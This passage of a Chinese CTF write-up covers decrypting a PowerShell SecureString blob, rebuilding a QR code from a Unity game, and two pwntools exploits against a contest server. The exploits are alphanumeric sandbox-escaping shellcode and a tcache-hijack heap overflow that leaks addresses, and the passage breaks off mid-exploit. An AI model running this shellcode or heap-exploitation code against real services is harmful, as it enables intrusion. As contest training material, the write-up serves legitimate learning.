DMAZAA0AGQAOABjAGEAYQBiAGYANwA0AGQAZAA5ADEANwBhAGIAMABiADIAOAA5ADQAYQBkAGUAMABmAGEANQBlADYAOAA4ADgAMQBhAGQANQA2ADgANgA2ADYANQBhAGIAZgBkAGEAMAAzADMANQAxAGMAZQA1AGYAOQAwADEAYwBhAGMAYwAwADcAZAA5AGYAYwA1ADgAOABjADUAZABiADYANAA3AGMAOAAyADIAMwA1ADIAMQA1ADQAOQBjADkAZQBiAGMAZgA3ADkAMgA5ADgAYwBlADkAZQBiADYAYQAyADIAOQAzADAANwA5ADgANwAyADYANABjAGUANQA4AGIAYgA2ADcANAA5ADAAYQAzADQAMwA4ADIAMAA5ADMAZgBiADcAMwA5ADQAYgBiAGMAZQBiAGEANgA3ADMANwBlAGUAZgBhADQAOQBhADYAMAA5ADkAMQA2AGUAYQA2ADMAMQA3AGEAYQA1ADQAYQA3ADQAYgA1ADYAYgBjADEAZgBjADYAMAA5ADQAMwBiADUAMAA4AGMAZQAxADgANgAzADkAMQBkAGEAZAAxADYAYgA1AGYAZQA3ADQAYwA5AGEAMABmAGEANQBkAGEAYwA2AGEANwA4ADYAOAA4ADgAZQBjADAAZAA2ADMAZAAzADYAZQA0ADIANQBiADUAZQAyAGQAYwBlADQANgAyADkAMABiADIAZABkAGMAZAA1ADUAOABlAGQAZAA2ADYANQBjADgAOABiADYAMgA3ADkANwAwAGQAMgBmAGYANwA1ADcAMwBhAGIAMgBmADAAZAA4AGUANwA3ADAAZgAyADEAOAAxADAAMwAwAGUAYwAxAGEAMwBkADUAMwBlAGUAYwBiAGQAMwA1ADEAMQA4AGYANAA5ADAANgAyADkAYQA5AGQAOQA2ADgANgBjAGIANgA1ADAAMwA0ADYAYgA3AGMAOAAyADkAYgBkAGUANQBlADAANgA5ADgAOQA5ADYAMgAyADQAYgBmADIAMgA2AGIAYwBhADQAMgBhADAAMwAxAGEAMQAzADYAZQBmADIANwAxADIAMQBlAGYAOAAxAGMAYQBlAGEANQBmADMAOABhAGMANwAxADkANQAwADkAYgBkAGYANAAwADYAYwBjADYAZQBhADIAYgA4AGIAYwBjADMAMwA2ADEAOQBiADIAMwA0ADkAYgAyADYAYQAxAGUAMQBjADgAMgA3ADIANgAxAGUAOAA4ADgAOABkADIANAAwAGYANABjAGQANwBhADAANABhADUANwAxADUAMgBkADIAZAAzADIANQA1AGYANgBkADkAZgA1ADEAMwAyAGEAYgA5ADIAMgA2AGUAMgA1AGIAYwAwAGYANwA3ADQANgBjAGMAOQBmADcAMQAzAGEAZQBhAGIAYQBiADUAZgBjADgANABkADUAYgA2AGQAZQBlADEAOABkAGEANwAwADAANABjAGEAYwA3ADIAMQA5ADgAYwBiADcAMwA2ADQAYwBkAGIAZgAxADAANQBlADQANAA2AGYAZQA3ADAAYQAyADgAMgA4ADUAZQA0AGQAZgA0ADkAOAA0ADQAMwA3ADEANgAyADgAYwA2ADkANQBkADIAMwA1ADEAOABhAGIAYgA0ADYAOQBhADQAOABmADQAMABmAGMAOAAyADMAMgBjADQAYQBmADcANQBkADMANQBhAGEANQAzAGMANAA4ADAAMgA0AGIANABkADUAMQBjADYANwBmADIANQA3AGQAZgAyAGEAOAAyADgAZgA1ADIAMAAyADIAZAA1ADUAYQBmADAAZgBhADUANgBlADgAMgAzADIAZAAyADQAYwA3AGIAMQBjADkAMABjADUAMwBiADMANQBlADQAMAA4ADMANABhADMANABmADYANwAzADEAMgA3AGEANQBkADYAYQA4ADYAZgA2ADIANwBjADcANQBhAGMAOABiADAAZQBjAGMANgBkAGYANwA3ADUANAAzADcAYQBiADQAOABlAGIAMwBmADcAYwBkADcAOAA0ADMAYgA2AGIAYgBhADcAMwBhAGQANAA4ADgAZABlAGUAOQA4ADAANwA4ADAAMgBmADQAYwAzADQANgA3AGUAMQA3ADUAYQA0ADQAMwAwADAAYQAyAGMAYgA4ADkAMgBmAGMAMgA5ADkAYgAxADAAMwA0ADYAOQA0ADcAYQBkAGMAZgA2ADYAMwAxAGMAMwBjAGMAYQAwADkANwBjADQAYgAxADgAYgAyADUANQBmADYANwAxADEAYwBmADMAOQBiADQAZQBiADAAZQBkADgAMwBlADMANABkADYAMAA1ADUAMABhADQAMwA1AGMAYQAzAGMAMQAxAGQANAAxADYANwAwADcAMQBjAGQAZQA4ADgAYwBkAGUANwA1ADkAMQAxADYAYwA2AGMAOQAwAGYAYgBkAGMAZQA0ADkANQA5AGYAOQA4AGIAYwA3AGEAMABjAGQANgBmADEAMABlAGMAZgA2ADkAZABlAGQAOABhAGIAZgBjADgANAA3ADkAYwAxAGIAMgBhADkAZQBiADMAYQAzADQANgAxADQAOQA5ADYAOAAxADgAYgBkAGIAMwA3ADIANgAwAGMAYwA0AGQAMAAyADAAMwBiAGMAYgA5ADgAYgBiADEAZQBmADkAMAA5ADYAMwA4ADUAMgA1AGQAMQAxAGMAYwAzADkAZgA5AGIAOAAyADAAZAA3ADkAYQA2ADYAYgA0ADMAZQBkADUANwAyAGEANgA4AGIAZgA3ADEANgBkADYAZgBkAGQAMQBiAGEAYwAxADAAZQBjADcAZgA2ADYAZAAxADUAYQA4ADMANAA0ADcANAAxADIAMQBkADgAZAA0ADQAMwBlAGUANwBiADcAOAAyADYAMAA0AGUANQBlADQAMAAxADIAMQAxADkANgBjAGYAOQA0ADgANgBhAGUANQBlADEAOQBlAGMAMQA4AGUAZgBjADYAZAA2ADEANwAzAGQAZQBhAGIANwBhADQANAA0ADkAMQAxADgAMQBlADgAZQAwADMANwAyADEANABkAGMAMAA3AGUANgA1AGUAMwA3ADUAZQBkADEAZAA1AGEANQBiADIAYQBkADUANwA0ADQAYgBlAGYANQAxADQAMwA1AGQANQA2AGUAZgAzADUAYgBkAGEAYQA2ADgAOQBkAGYAOAA2ADgAYgBjAGUANAA5AGQAMwBmADEAYgBiAGYAOQA2ADcANwA0AGMAMwA5ADgAZQAzAGYANABhADkAMwBlAGQAMgBmADMANQAwAGIAMAA1ADEANwBjADgAYgA1ADcAYwBmADIAYQBjADYAMAA2ADcANgA5ADYANQBjADMAZABhAGEAYQA5ADIAZQA4AGEAMgA4ADUAOABjAGMANwAyAGIANQBjADYAYgBlAGIAYQAxADMAYwA1AGQANgA3AGUAZgA1AGIAZABkADYAOAA1AGMANwA2ADMAMwA0ADUAZAA4ADQANwA4ADMAYgAzADYAZAA3AGEAMwBhADkAYQBkADYAZgA1ADkANwBmADIANwA5ADIANAA2AGIAMAAyAGEAOQBkADIAYgBhADMAYgAxAGYAMQA4ADEAZQAxADQAMwBjADkAMABiAGYAZgA1ADAAOQBkADMAMgAyADcAZgBlADgAOQBhAGUAYQA5ADQAYQA1AGIAOQA5AGQAMgAwAGMAZQA2AGYANAA0ADAAMwA0AGMANQA0AGQAMQA4AGQAOQBlADIAZgAyAGEAMwA3ADMAZQA0AGQANABmAGQAYQBlAGIAYQBhADMAYQAxADIAYQAyAGYAZABiAGEAOQBjADQAOQBjAGIAZAAxADcAMAA4AGUAZgBmADcAOABkADIAOAA3AGEAZgAxADkANgA1ADkAMwBiAGYAZgA5ADcAZgAwAGYAMABiAGUANAAzAGMAZAA3ADMANABjADUAYwBmADQAOQA3AGQAMAAxADcAOAA3AGIANwBlAGMAOAAyADYAYwA0AGMANAAyADgAYwA3ADMAOQA1ADgANwA2ADIAOQA1AGQAZQBlADMAOAAxADgANgBjAGEANQBlADkANgA4ADgAYQA3ADMANABhADAAMAAzAGIAMAAwAGQAYwAxADgAMgA1ADAAMgA2AGIAOQBhAGUAOAA3ADgAOAA2ADcAMgA2ADQAMAA5AGQANgA1ADIAYgA4ADQAYQA1ADcAZQBiAGEAZgBmADcAMABkADEAMQA2ADAAMwAxADYAOQBjAGIAOQBmADkAZQBjADEAMgA1ADMAOAA4ADgAZQA3ADkAMgA2ADAAOQA0ADEAOABkAGQANwAwAGYANgBlAGMAYwBmAGUAYQA5ADQAZAA1ADMANAA0ADIAZgBmAGQAMgA0ADcANQAzADIAYQA4AGEAOQA3AGYAMgA2ADQAZgAwAGMANgA2AGQAMAA2ADkAYQA3ADUAZQA3AGIAYwAxADUAYQBkADQANAAxADAAYgBlAGEAYgBjAGMAYQA3AGQAYwAzADYAOQA5ADAAMgA1ADQAZgAxADIAZgBjAGYAMwAwADMANgA5ADMAZQBkAGMAYgA1ADUAMwBlADIAYQBlAGIAYwAzADMAZgAwADIAMgBhADIANwA3ADUAMwA2ADEAMAA3AGQAZgA1AGUANAAxAGUANABkADgANgBkAGYAMABhAGEAMQA0AGQANQA2AGUAZQA0ADMAMAAzAGIAZQBkAGMANAA2ADAANQAwAGMAYQBjADkAZgBlAGUAZQA4ADIAZQA2AGUAYgBkAGEAMAAyADEAYQA5ADgAYwBhADgAMwBlAGIAZABjADEAZAA5ADEANQA1AGUANgBmADcAMgBkADgANAA4ADQAZQA3AGMAZgBkAGUAMQBlADUAMwA3AGEAMwA5AGYAMAAwADUAMwBmADIAOQA1ADgAYwA2AGEANQA1AGEAZgBlAGMAYgAzADMAMQA3ADQAOQA0AGIAOQBjADIANAA0ADMAZQBkADQANgA3ADQAMAAwAGMAMQBlADgANQBhADEAMQBmADMAOQBkADMAYQA2ADkAOQBlADEAMAA2ADAAMAAzAGQANQA0ADEAYQBlADUAYgBmAGQAMgAxAGMAMABmADQAOQAyADgANgAyAGIAYgA3ADYAZgA3ADgAZgA1ADYANAA3ADIAOAAxAGIAZgAxAGYANgA1ADkAYQBhAGQAYgA2AGMAOABjADYAMgAwAGQAZgA1AGYAYQBkAGQAZAAyAGEAOABkAGYAZgBmADMAMwA1ADEAYwAxADgAMwA5ADUAMgAzADQAZQBjAGMANAAzAGMAMwA1ADkAZAAyAGQAZQBjADIAZgA0AGMAMgA1ADUANgA0ADIAMgAwADEAZABmAGYAMgBhADAANAA4ADcAMQA1ADAAYQA5ADEAZgBjADIAZQA4AGMAZgA2AGUANgBkADQAMwAwAGEAMgBlAGIANQBmADgANQAzAGEAOQBmAGQAYQBhADMAOAA4ADAAOQA4ADUAYwBhADQANABhADIAZQA5ADcAZgAyADUAYQA0ADgAOAAyADgANAAyADYANgA0ADMAYgBkADkAYQBiAGMAZQAyADMAYwBkADgAZAAyADUANgA3ADcAZgA3ADgAMQA4AGQAOQAyADMAYgAzAGUAYQA4ADYANgBhADEANgBhADQAMQBmADQAMwA0ADYAYQAyADEAOQBjADMAMwA4ADMANwBlADEAMAA2ADkAYgBmADQANgA1AGYANQA5ADYAZABhADAAZgA2ADIAOQAwADgAZQBmADEAZgA0AGIANgA4ADQAMwBjAGIAZgA2AGIANgA0ADcANAA2ADUAZQAwADgAMQBhAGIAYwA0AGQAYQBkADAAYQBkAGEAYwAxADcAZQAzADEANwAyADcAMwA0AGIAMAA5ADcAOAA2ADgAZgA2ADIAZgA2ADIANQAwADAANQA5AGYANwBlADAAMQBmAGMAMAA3AGQANwAwAGUANgBhADYAYQAwAGYAMgA1ADQAOQA4ADAAOQBjAGMAYgA1ADcAMgAxAGIANABlADQANABmADkAYwA4AGQANQBhAGUAZQAzADMAYgAzADYAOAA5ADEAZQA5ADcAZABkAGEAYwBlADMAMQAzADMAYQBhAGMAZABjAGUAYQA0AGUANABjADUANQA5ADUAMwBkADgAYQBjAGIANwA0AGEAYwAzADgAOABlADUAMQA3ADIAOABmAGQAMAA1AGQAYQBkADYAMAA1AGUAZgAyADkAMwBlAGQAOAAyAGQAOAAwAGEAYgBlADQAMwBjAGYANAA0AGYANgA1AGUANgBkADAAMgBiAGYANgAzADIAYwA4ADgAYgAzADAAZABkADIANQAwAGYAZQA4ADAAOAA5AGMANwA4AGUAYwA3AGUAZQA4ADIAMABmADIAMQA5AGYAZQA2ADIANwBiAGIAMAA5ADIANABmAGUANQBkADIAOAAwADkAZABhADQAMgA5AGIANQA2ADEAOAAzADMAOQA3ADUAZQA5AGEAYgAzAGIANwA0AGYANQAwAGYANABhADcAYQA1ADQAYwBiAGYANAA1AGMAMQBiADQANAA1ADgAOABmAGQANQBhADkAYwA3ADIAYwA0AGYANABjADEANAAxAGMAMQA5ADgAYQA2AGMAMwBiADIANwBlADEAZgA1ADUAMwA4ADgAMgA4ADgANABmAGMAYwAxADIAOAA4AGQANwA5ADAANQAyADQAMgBiADYANgA1AGUAMwA0AGUAMwBkAGYAOAAxADUAMABiAGEAZgAwAGIANgA2AGQAYgA3ADcAZQBjAGIAZgA0ADUANgAzADAAMAA5AGEANQAyADEAMQA3ADMAMAA2AGYAYgBlADIAMABlAGUAYgA1ADcANAA5ADUAOABhADUAMwAzAGIAOAAzADgAZQAwADAAYQA5ADMAYwA0ADAANwA5ADQANAAyAGQAOQAyADEAOAA1ADEAMQBkADQAOAA4ADEAMABhADMANgAyADUAMAAxADQAYQA1AGYANABlADYANABjADYANwA5ADEAYQBlAGUAOABlAGUAMgAzADYANgAwADgAOQA4AGIAZgA1AGIAZAA5ADgAYgBmADIANgA2AGYAMABlAGYANAAxADgAYgAzADkAZQA0ADgAMQAzAGUAOQBkADkAMQA3ADIANAAxAGYAMgBmAGUAZABkADgANQAwADkANgA3ADkAMQBiAGUANwA5AGQAMwAxAGMANQBkAGQAMgBjADYAMQA4AGIAZgA2ADMAOQA0AGEAMgAyADQAYwA1ADAAZgA1ADMAMAAyADcAMgBlAGUAMgA4ADgAMQA0AGMANgA4ADYANAA4AGQAMgBlADIAYwAwADEAZgA4ADUAZABhADgAYQAxADQAZQA4AGQANABkAGUAYwAwADMANQA5AGUAYQBhAGMANAAyAGIANAA4ADQAZABmADMAOQAxADEAOQAzADAAMgA0AGUAZgA5ADQAYgAyADMANABlADUAYQBlADYAOABhADcAMgBlADQAZgA4ADEANQAxADIAMwBhADMAMAAyADIANwA1ADAAOAAxAGYAZQA3ADYAOQBmAGMAMwA2ADcANAAwADkANAA3AGYAMAA4ADIANwAxADkAYgA4ADUANQBmADMAZAAyAGEAYgBiAGQAMABiAGIAZQA4ADUAMQAxADcANQA4AGIAOABiAGEANgBiAGIAZABlAGYAMQAzAGQAZAA4ADYAOAA2ADIANAAzADUANAA4AGQAZAA1ADAAMQBhADIAMgAwADgAMgBkADAAYQBmADUAYgA1AGIAZgA3AGIAMAAzADYANQA4ADMAZQA5ADQAMAA4AGUAOQA0ADUANABjADEAZgA3AGMANABlAGUAZgA0AGYANABmAGMAYgA3ADcANAAyAGIAYwAzAGYAOQAzADUAMwBiAGMANQAzAGQANQA5AGUAYwAyAGUAZQA2ADcAMwA0ADIAMAA4ADUAMQA4ADMAZgA0ADMAYQBhADQAOQBkADQAZAA3AGMAOQA1ADgAYgBkADkANQAyAGYAZAA2AGQANQA2AGYAOAA0ADgAZABiAGIAYQAwADYAMAA3AGQAYwA4ADMANQAxAGYAYwAzAGEAZgAzAGIAZQAyADgAMQBiADcAYwA4AGMAZQBlAGYAYwBlADMAYgBhADkAYwBkADUANQA5AGMANwA1AGUAMABiAGIAZgAwADUAOQA1AGYAYQA0AGMAYgAyAGEANABhAGMAYQBkADEAOQBjAGYAOQBkADYAMQBlAGEANwBjADgAMAAzADIANwAyAGEAMwA1ADIAZgA4ADgANwBkADcAMwAxADEANAA3ADMAMgA2ADEAYgA4ADEANQA1AGIAOQA2ADAAOQBkAGUAOQAzADgAOQA3AGMAMgA3AGEANgBkAGUAYwA1ADkAOABiADQAZAAxAGYAMwBhAGQAZgA4AGMANQBiADcAYgA2AGEAMABkADQANQA3ADQANAA0ADMAYwAyADkAOQA0AGEAYwA1ADcAZQBjAGMAYgAwAGEAZQAxADgANAAwADgAOAAzAGQAMAAwAGIAMABhAGIAZABhADcANgAyAGQANgBmADkAMwBjADgANgBlADcAYwAzAGEAZABjADIANgBhADQAYgAxAGIANwBlADEAMwA5ADgAMgBiADAANwAyADcAOQBhADQAYwBiADYAZAAyADkAMAA4ADAAMgBiADEANAAyAGYANABlADcAZQA0ADcANwA5ADIAOAAzAGMAMAAwAGEAOABjADIANAA3ADUAMQBkAGQAOAA4ADkANgBmADYANQBlADIAMwA3ADQAZgA3ADUAZAA0ADcAYwAwADYANgA3AGUAOQAxADcAMAA3ADIAYwBiADQAMwA2AGEAZgA2AGUAMAAyADMAOABhADUAZgA2AGYAZQA1AGYAOQA4AGYANgBjAGYAMwA3ADMAOQA3ADQAMQBlAGEANwBkAGEANgBmADIAMQBkADEAYgA3ADEANAAwAGMAOAA0ADEAMAAxADUAOQA3ADEANQBlAGMAMwBiADQAZAAyADEAMQA0AGEAMwBhADkAMQAyADMAMwA3ADMAYgBhADcANQA2AGUAZABjAGUAYQAxADEANABiADYAYgA4AGYAMAA2AGMAZgAxAGYAMgA0ADUAMwAxADQANgA1AGIANgA5AGIAOQA4ADgAYgAzADAAZABiADQANQBlAGQAOAA3AGYAZQA5AGYAZQBlAGMAMABmAGQAYwBmADEAZgA2AGEAMQA0ADkAMQA2ADIAMQBhADkANwAwAGYAYgA0AGYAZgA2ADYAMABhADAAOQA3ADQANwBjADQANwBjADIANwA4ADAAYQBkADQAMQBiADEAYwA0AGMAMgBkADEAMwBhADkAZQBjAGQAYwAzADEAMgA0AGEANwBjAGQANABhAGYANQA5AGMAMQBjAGUANwA2AGUAYgBiAGEAZQA2ADgAMQAzAGEAOQA2AGQAMgA4AGIAZABmADUANgBkADEAOQBjADQAMQA3ADUAZQBkAGUANgBlADEAZgAxAGUAOABhADQAMQBjADYAMQA4ADQAZgBlAGYAZgBhAGQAMQBkADkAYgBlAGUAMwA4AGMAOQA1ADYAZAA1ADQAYQA2AGMANQBkADAAYgBjADIAMwBjADUAYwBmAGEAYgBmADUAOQBlAGMAZQAxADAAYgA1AGUANQAwAGMAOABiADMAYQA3ADIAZQBmADQAOAAyADUAMABmADEAYwAzADIAMwA2ADcAOQBhADQANgAzADAAMgA0ADIAZQAxAGIANwA2ADAANAA0AGEAMwAwADEAYwBlAGMAMgAzAGUAYQA3ADUANQBmADYAYgBjADQANgA0ADcANgBhAGMAYwBkADcAYwAwADEAMABiAGUAMAA1AGEAMgA1AGEAZQA4ADQAZQA3ADIAYgA1ADEAYwBmADMAYgA3AGQAMAA5AGQAZgBhADYAOQBjADYAZAA0ADAAZQBlAGQAYwA1ADkANAA2ADkAMgAyAGYAOQBiAGEANwA4ADAAYwBlADQAYQAzAGIAYwA5ADEAOAA1ADYANQBmADEANwBhADMANgA3ADgAMQBjADgAOAA4ADUANQA0ADcAYwBhADMANQBmADYAYQBiAGYANgA2AGYANAA2AGEAZABlADYANABjADcAZAAwADEAMQA1ADIAYgBmAGYAYQAxADIAZgA1AGQAYwA2AGQAZgA1AGEAZQBkADkAYgBkADcAMgAzAGMANQBjAGYANgA0AGUAZABkADkANABjAGUAYQA4AGYAZQA2ADUAMQAxADcAZQBiADAAOQBlAGMAYgAxADAAOABlADgAMwBjADcAYgBlADcAYwA4ADAANQBkAGUAYgAxADEAYwA5ADcAZgA1AGIANABiADUAZABlADYAZQBlADcANgBmADkAMABlAGUAMQBjAGQANQBhADkANgAyAGUAOAA0ADgAMQA0ADEAYgBmADUAMgA5AGUAMgA2ADMAOQAwADQAYwAyADYAZQAxADQAZgBiAGMANQAzADkAYgBkADYANwBjADgAZQAzAGUAMQAwAGYAOAA2ADQAYwBhAGEAZgA5ADQAMABmADUAMgA5AGMAZABjADQAMwAzADQAZAA0AGUAMQAwAGQAYwBjAGIAMwBkADkANQA0ADYAMAAxADQAMwBhADQAZABjADgAYQA4ADIANgAwADIAZgBhADIANwAyAGYAMwBjADMAYwBiADYAYgA2ADUAZgA5ADYANQAzAGMAMgA3ADYAOQA4ADgAZQAyAGMAMgAzADEANAAyAGMAOAA0ADkAMwA4AGIANgBhAGEAZgBhAGMANwA4AGMAMwBlADIAOAA3ADcAMAA3ADcAZQAxADYANgBjADcAYgAwADMAYgBhAGIANAA4ADgANAAxAGQAMAA3ADgANwAyADAAMQAxADUAYQA0ADUANwAzAGIANwA5ADkAMQA4ADIAZAA0AGMAMQA2ADYANgA0ADcAYwA2ADIANQAyADgAMgBkAGYAZQA0ADUANgA3ADUAYwBlADYAYgBlAGQANwAzADYANwBhAGYANAA3ADUAMgA5AGIAZgA2ADgAYwAyADUAMQBmAGQAYgA0AGYAMAA2AGEANgAwADUANQBkAGEANQAzAGMAOABiADEAOAA1ADMAYQBmAGIAOAAzAGMANAA4AGIAZQAyADEAZQBlAGIAMAAzADUAMwBlADAAZABkADYAMgAwADUANwAzAGYAOQBmADUAYwAxAGIAZgBiADIANABjAGYAOQAwAGYANgBiADkAMgAxADkAZgA5ADcANwBiAGUAMQAwADUANAAxADMAMwBmAGYAZgBmAGIANABlAGUAZQBhADgAZAA1ADQAMgBlADcAYgAwAGMANQAxAGUAMwAzADEAMAA5AGYAYQBkADAAZAA1AGQAMgAxAGEANQBlAGYANQAyAGIANwBhAGQAMwBlADMANgAxAGUAMwBmADAAYwA4ADgANwBiAGMAZgA1ADMAYgBmAGIAZABhADkAMAAwADUAZABkADIAMQA0AGUANwBlAGMAYQAwADkANgBiADQAYgBlAGIAZAA3ADEAMwA2ADUAMQA4ADAAYQBjADgAYwAzADcAOABhADkANABjAGYAZAAyADcAZQA2AGIAZAAyADcAYwA1ADYAMgAwADUAMQBiAGEANwAwAGIANABmAGYANAA1ADYAYgA2ADMAOQBjADcANQAzADMANQBkADQAMwBiADgAYgA3AGIANwBlAGEAMQBmAGMAYQA3AGIAZABlADgAYQA4ADcAMwAxADkANABmAGYAOQAwADYAYgBkADMAMwAwADMAMwBjADIAMwAwADAANgA3AGUAYwAwAGUANwA0AGMAMgA3AGUAMgAxADgANQA2AGIAOQBiADMAYgAzAGMAZgAzADUAYwA3ADkAZgBkADIAZQA4AGIAMABiAGIANQAzADcANQBlADEANgBiAGQAMQA2ADIAOQBhADkAOQA5AGIAYgAzAGMAYwBkADAAYQA5ADkAMwBlADEANQA0ADEAZgAzAGEAOQAwAGMAMgBlADEAZAA3AGYANgAzAGYAYgBlADYAOQAyADYAOABhAGIANQA4ADgANQA3ADMAMQA4ADYAMgBiADkAMAA0ADMAMgBmADMAZgAwADMANABmADUANQA0ADYANQA0ADkAZQBiAGIAZAAzAGUANAAzAGYAYwA4AGEAOQAwAGYAZABkAGQAMABhADYAYgBkADcAYgBlAGYANwAyADYANgA5ADkANwBlAGIAMABmADkANAA1ADYAYgBiAGUAMQBjADcAZgA3ADYANAA1ADAAYwA3AGEANAA4AGIAMwAwAGMANwA0ADcAOQBkADAAMgAwADkAMwBjADYAYgAwAGEAMQAzADMANABkADAAOAA3ADcAMwBmADcANgA1ADAAMAA5ADMAMgA3ADgAMgA2ADQAMgA4AGEANAAwAGUAZQA4AGMAZgAxADQAOABjAGMAMAAyAGUAYQBjADQANgA5ADEAOAA5ADYAYgAxAGUAYwAxADAAOABlADMAMAAwADYAOQAyADYAZgA1ADAAZAA1AGMANQA2ADYAYwAxADIAZAA0ADMAMgBkADAANgA2AGEANAAwAGQAMwBjADYANwA2ADcAMgA3AGQAMwAwADYAOAA1ADQANgA4AGMANABhADkANQAwAGYAZgA0AGQANQA4ADUAYgBjADgAZABkADcANwA1AGEAMgA2AGEAOAAwAGMAZQBiADkAYQA4ADMAOAA1ADAAZABlADQAYwA=' | conVeRtto-SEcurEsTrIng -key  (143..112)) ) ) ) )

涉及conVeRtto-SEcurEsTrIng，之后用脚本分析即可

$EncryptedPW = Get-Content -Path E:\key.txt
$SecureString = ConvertTo-SecureString -String $EncryptedPW -Key (143..112)
$Credentials = New-Object System.Management.Automation.PSCredential "User", $SecureString
$Credentials.GetNetworkCredential().Password

得到flag1

image-20231224152114156

Jump For Flag

利用dnspy分析Assembly-CSharp.dll

找到有关于二维码的类

image-20231224164502408

看了一下根据x,z坐标构造31*31的图像，根据第4个值判断

import matplotlib.pyplot as plt

x = []
z = []
colors = []

with open('hint.txt', 'r') as f:
    datas = f.readlines()
    for data in datas:
        arr = data.split()
        if len(arr) >= 3:
            x.append(int(arr[0]))
            z.append(int(arr[1]))
            colors.append('black' if int(arr[2]) == 1 else 'white')

plt.scatter(x, z, c=colors, marker='s', s=100)  

plt.xlabel('X Coordinate')
plt.ylabel('Y Coordinate')
plt.title('Plot of Coordinates with Black/White Colors')

plt.show()

image-20231224164441633

CQR

image-20231224164557179

PWN

checkin

带有沙箱的可见字符shellcode。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  __int64 v4; // rbx
  __int64 v5; // rbx
  unsigned __int64 v7; // [rsp+8h] [rbp-28h]
  char *v8; // [rsp+10h] [rbp-20h]
  int i; // [rsp+1Ch] [rbp-14h]

  v8 = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v8 == (char *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  write(1, "Give me your shellcode: ", 0x18uLL);
  v7 = read(0, v8 + 0x30, 0x100uLL);
  for ( i = 0; i < v7; ++i )
  {
    if ( (v8[i + 48] <= '`' || v8[i + 48] > 'z')
      && (v8[i + 48] <= '@' || v8[i + 48] > 'Z')
      && (v8[i + 48] <= '/' || v8[i + 48] > '9')
      && v8[i + 48] != '/' )
    {
      printf("Invalid character: %c\n", (unsigned int)v8[i]);
      exit(1);
    }
  }
  v3 = qword_4088;
  *(_QWORD *)v8 = payload;
  *((_QWORD *)v8 + 1) = v3;
  v4 = qword_4098;
  *((_QWORD *)v8 + 2) = qword_4090;
  *((_QWORD *)v8 + 3) = v4;
  v5 = qword_40A8;
  *((_QWORD *)v8 + 4) = qword_40A0;
  *((_QWORD *)v8 + 5) = v5;
  sandbox();
  ((void (*)(void))v8)();
  return 0;
}

利用栈上的入口地址进行偏移，并设置rax为入口地址。随后直接使用alpha3生成shellcode即可。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('8.130.35.16', 58002)

sh.sendafter(b'shellcode: ', b'jBZPPPf1Tt0XXXXXXX' + b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G122o5L162v1n3Z4s3f173p4I3c1o3c353d1L062G4N06060q05184r4L000n020b0z5L3m2I004r113Y1N8N3R1O3r3Y3b17401N051M8N3n1M4M3k114u8O0E5o0q8M3F0b')
sh.recvuntil(b'0')

shellcode = asm(
'''
jmp start

read:
    mov r15, rdx
    xor edx, edx
    inc edx
read_again:
    xor eax, eax
    syscall
    inc rsi
    dec r15
    test r15, r15
    jnz read_again
ret

write:
    mov r15, rdx
    xor edx, edx
    inc edx
write_again:
    xor eax, eax
    inc eax
    syscall
    inc rsi
    dec r15
    test r15, r15
    jnz write_again
ret

start:
    xor edi, edi
    mov eax, 3
    syscall

    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    call write

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    call read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    call write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

sh.send(shellcode.ljust(0x400, b'\xcc'))

sh.interactive()

npointment

漏洞点位置在函数 14B3 中，输入”date=date=date”即可造成堆溢出，然后使用tcache-hijack来完成利用目的。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('8.130.35.16', 58001)

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x500  + b'\0')
sh.sendlineafter(b'$ ', b'add content=a\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x531) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x600  + b'\0')

sh.sendlineafter(b'$ ', b'show index=3\0')
sh.recvuntil(b'Appointment #3:')
sh.recvuntil(b'Content: ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1ff130
success('libc_addr: ' + hex(libc_addr))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=6\0')

sh.sendlineafter(b'$ ', b'show index=3\0')
sh.recvuntil(b'Appointment #3:')
sh.recvuntil(b'Content: ')
heap_addr = u64(sh.recvn(5) + b'\0\0\0') * 0x1000
success('heap_addr: ' + hex(heap_addr))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x31) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'delete index=7\0')
sh.sendlineafter(b'$ ', b'delete index=6\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x20 + p64((heap_addr >> 12) ^ (libc_addr + 0x247320)))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaa\0' + b':' * 0x800)

sh.sendlineafter(b'$ ', b'show index=7\0')
sh.recvuntil(b'Appointment #7:')
sh.recvuntil(b':'*10)
image_base = u64(sh.recvn(6) + b'\0\0') - 0x3e78
success('image_base: ' + hex(image_base))

